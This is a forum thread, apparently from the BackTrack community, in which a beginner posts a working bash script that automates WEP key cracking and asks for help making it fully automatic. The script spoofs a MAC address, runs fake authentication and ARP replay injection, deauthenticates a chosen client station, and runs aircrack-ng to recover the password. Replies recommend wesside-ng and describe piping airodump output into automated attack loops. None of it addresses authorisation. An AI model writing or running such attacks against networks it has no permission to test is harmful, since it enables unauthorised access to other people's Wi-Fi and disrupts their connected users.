|
|||||||
| Programming A place for our community to discuss their own security related coding projects. |
![]() |
|
|
LinkBack | Thread Tools | Display Modes |
|
|||
|
hi. 1st sorry about my english, i'm asian
(fresh bt4 vm + edimark 7318usg) my script like:- Code:
#!/bin/bash
device=wlan0
driver=rt73usb
fake=00:11:22:33:44:55
enc=1
airmon-ng stop $device
ifconfig $device down
rmmod $driver
modprobe $driver
macchanger --mac 00:11:22:33:44:55 $device
iwconfig $device mode monitor
ifconfig $device up
airmon-ng start $device
airmon-ng stop mon0
sudo rm *.txt
sudo rm *.cap
sudo rm *.sh~
sudo rm *.arp-request
sudo rm *.ivs
sudo rm *.xor
sudo rm *.csv
clear
echo ""
echo " ___________________________________________________ "
echo " | | "
echo " | chose your target, write down the ESSID,BSSID,ENC | "
echo " | CH,and STATION. Once done close 'MONITOR' konsole | "
echo " | and follow the instruction... have a nice day :-) | "
echo " |___________________________________________________| "
echo ""
konsole -T MONITOR --noclose -e airodump-ng $device
echo ""
read -p " A. CHANNEL (CH).......................? " ch
read -p " B. ESSID..............................? " essid
read -p " C. BSSID xx:xx:xx:xx:xx:xx .........? " bssid
read -p " D. STATION xx:xx:xx:xx:xx:xx .........? " station
echo ""
if [ $enc = 1 ]
then
airmon-ng start $device $ch
airmon-ng stop mon0
iwconfig $device rate 1M
konsole -T table-A --noclose -e airodump-ng -c $ch --write key --bssid $bssid $device &
sleep 3
konsole -T table-B --noclose -e aireplay-ng -1 6000 -q 10 -o 1 -a $bssid -e $essid -h $fake $device &
sleep 10
konsole -T table-C --noclose -e aireplay-ng -3 -b $bssid -e $essid -h $fake $device &
sleep 10
konsole -T table-FLASH -e aireplay-ng -0 50 -a $bssid -c $station -h $fake $device &
sleep 15
clear
echo " please wait......... "
echo " do not close any konsole until you got thr password at table-D "
sleep 30
konsole -T table-D -e aircrack-ng key-01.cap
clear
echo ""
echo " :-) "
exit
fi
i dont want write down the input..just want chose the AP and client mac on the list like Code:
choose your AP target
esssid enc
a. aztech1 (wep) 1
b. aztech2 (wpa) 2
c. aztech3 (opn) 3
chose your client
essid station
aztech1 xx:xx:xx:xx:xx:xx 1
xx:xx:xx:xx:xx:xx 2
xx:xx:xx:xx:Xx:xx 3
my imagine is save any data when "MONITOR" run and recall back the data when "MONITOR" closed, how to make this script hapend.. |
|
|||
|
Quote:
i get my skills just on google only.. computer, window arroud 1 year and linux(bt3&4) just 8 month, i'm so new on "this wold" ![]() nevermine u mean tail airodump.log | grep WEP | grep OPN | while read BSSIDLINE; do blah; done is part of script ?? seriously im noob... ![]() my script alreddy finish for wep with client & no client on fragment/chop2 and interactive attack at cople off week ![]() ![]() now i try make it fully auto..thnk for advice |
|
||||
|
Honestly, this isn't really where you need to be if you're noobish to all this stuff, the distro isn't really for you.
However, yes I did mean that part was a script - a bash script the same as you. wesside-ng *is* fully auto - the only reason I use the bash script I made pseudo-mention of above is because even the 1.0 version of wesside-ng sometimes tries to attack WPA networks when it shouldn't. Theoretically you should be able to just type "wesside-ng -i interface" and it will attack any WEP network in range - in practice you need to link airodump together with it so that you may process the channel and BSSID out to ensure wesside operates correctly. I strongly recommend you go and have a play with wesside-ng and learn it properly - it will save you a lot of time. Plus, the lack of duplication of code means you have a central point of "known good" when you are debugging the code you write to go around these tools.
__________________
Never underestimate the power of human stupidity - it is like a force of nature, capable of destroying even the most well laid plans. |
|
||||
|
Think you should look into my scripts and forget all other LOL as they can be fuddled up if you know what I mean!
Sorry Gitsnik mael4704 should learn a more stream lined script. More self explanatory and formed easier to learn at first and yes I am making my way back up the script kitty ladder to challenge you LOL.Omegadamage
__________________
If you have tried once and not succeeded then give up!! Or you can try harder and be omegadamage!! Last edited by omegadamage; 10-30-2009 at 11:40 AM. Reason: None |
|
||||
|
Quote:
Hell, how many scripts do you know of that are capable of SKA as well? Let's see some more of those at least! But, unfortunately, one is continually subjected to an almost endless stream of talent being put to little use and less innovation. It is a shame to see so many of my/this generation doing this - not that my own contributions are massive, but I like to think they are, at least, new and/or innovative - or at least fill a gap. But now I sound like a pontificating old man rather than a twenty something programmer, so I better leave this here
__________________
Never underestimate the power of human stupidity - it is like a force of nature, capable of destroying even the most well laid plans. |
|
||||
|
Quote:
After all we all have to start somewhere and most books or experienced programmers will tell you to take an existing script, examine it and rewrite it yourself.
__________________
Any questions you have will get a good answer as long as you have followed the forum rules and show you have tried to help yourself. Your questions are clear and contain as much relevant info as possible, especially error messages, commands you have tried and the output from those commands.
remember: garbage in = garbage out BackTrack needs your donations, no matter how small. Please contribute HERE |
|
||||
|
Quote:
__________________
If you have tried once and not succeeded then give up!! Or you can try harder and be omegadamage!! |
|
|||
|
sorry if i missundertanding or all of you not understand what i say..
for read 1 post i take 5-10 min with dictionary my language to english at my hand, huhuhu, my english so bad.. ![]() ![]() ![]() Quote:
![]() Quote:
![]() Quote:
mby it's so easy for someone but i'm start from here (BT) and from nothing,whay BT, because i interest with this distro and BT it's my first distro i used.. thanks for all of you, |
|
||||
|
Quote:
I much prefer the idea that you make use of omega's script and enhance from there - an enhancement is infinitely better than yet-another-hello-world script. By the by, I did suggest the enhancement (maybe not in the most articulate way) - when airodump is logging to file, it logs all the information you need, tail -f will keep printing that information line by line to the screen, grep does what grep does, and then you can use a bash "while read" combination to start kicking off your attack sequences. When my BT box is back and I recall to, I'll make a dump of the airodump/bash/wesside-ng script that I myself make use of. It's small and dirty but it's "yet-another-wep-script" that you or anyone else can look at.
__________________
Never underestimate the power of human stupidity - it is like a force of nature, capable of destroying even the most well laid plans. |
![]() |
| Bookmarks |
| Thread Tools | |
| Display Modes | |
|
|